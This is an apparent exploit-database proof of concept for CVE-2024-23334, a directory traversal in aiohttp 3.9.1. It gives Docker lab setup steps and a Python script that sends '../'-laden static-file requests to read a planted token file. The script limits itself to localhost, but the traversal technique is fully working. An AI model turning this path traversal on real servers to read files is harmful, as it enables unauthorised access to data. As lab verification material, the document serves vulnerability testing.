# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334) # Google Dork: N/A # Date: 2025-10-06 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.aiohttp.org / https://www.python.org # Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1) # Version: aiohttp 3.9.1 (vulnerable) # Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1 # CVE: CVE-2024-23334 # Description: # Proof-of-concept to verify directory-traversal behavior when aiohttp is configured # to serve static files with follow_symlinks=True (affects aiohttp <= 3.9.1). # This PoC is intentionally restricted to local testing and will refuse non-local targets. # Environment setup (Vulhub example): # 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory: # cd vulhub/python/aiohttp/3.9.1 # 2. Start the vulnerable service: # docker compose up -d # 3. Verify the service is accessible on localhost:8080: # curl -v http://localhost:8080/ # should respond # # Prepare a safe probe file inside the container (non-sensitive): # 1. Identify the container name or ID with `docker ps`. # 2. Create a test token file inside the container: # docker exec -it /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt" # 3. Verify: # docker exec -it /bin/sh -c "cat /tmp/poc-aiohttp-test.txt" # # should print: POC-AIOHTTP-VULN-TEST # # How to run this PoC (local only): # 1. Save this file as poc_aiohttp_cve-2024-23334.py # 2. Run it on the host that has access to the vulnerable container's localhost port: # python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8 # #!/usr/bin/env python3 """ Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks). This script will refuse to target any host other than localhost/127.0.0.1/::1. Example: python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8 If the vulnerable server returns the probe file contents, the script prints the body and reports VULNERABLE. """ from __future__ import annotations import argparse import socket import sys import urllib.parse import http.client LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"} def is_localhost(host: str) -> bool: """Only allow local hosts to avoid misuse.""" return host in LOCAL_HOSTS def build_traversal_path(probe_path: str, depth: int = 8) -> str: """ Build a traversal-style path to append to /static/. Depth can be adjusted if the server root / static layout needs more ../ segments. """ probe = probe_path.lstrip("/") ups = "../" * depth return f"/static/{ups}{probe}" def try_connect(host: str, port: int, timeout: float = 3.0) -> bool: try: with socket.create_connection((host, port), timeout=timeout): return True except Exception: return False def send_get(host: str, port: int, path: str, timeout: float = 10.0): conn = http.client.HTTPConnection(host, port, timeout=timeout) try: conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"}) resp = conn.getresponse() body = resp.read() return resp.status, body finally: try: conn.close() except Exception: pass def main(): parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).") parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).") parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).") parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).") parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).") parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.") args = parser.parse_args() host = args.host.strip() port = int(args.port) if not is_localhost(host): print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr) sys.exit(2) # quick reachability check if not try_connect(host, port, timeout=3.0): print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr) sys.exit(3) path = build_traversal_path(args.probe, depth=args.depth) # encode path but keep slash and common safe chars path = urllib.parse.quote(path, safe="/?=&%") print(f"[*] Sending GET {path} to {host}:{port} (local lab only)") status, body = send_get(host, port, path, timeout=args.timeout) print(f"[+] HTTP {status}") if body: try: text = body.decode("utf-8", errors="replace") except Exception: text = repr(body) print("----- RESPONSE BODY START -----") print(text) print("----- RESPONSE BODY END -----") # heuristic: check for the expected test token if "POC-AIOHTTP-VULN-TEST" in text: print("[!] VULNERABLE: test token found in response (lab-confirmed).") sys.exit(0) else: print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.") sys.exit(1) else: print("[ ] Empty response body.") sys.exit(1) if __name__ == "__main__": main()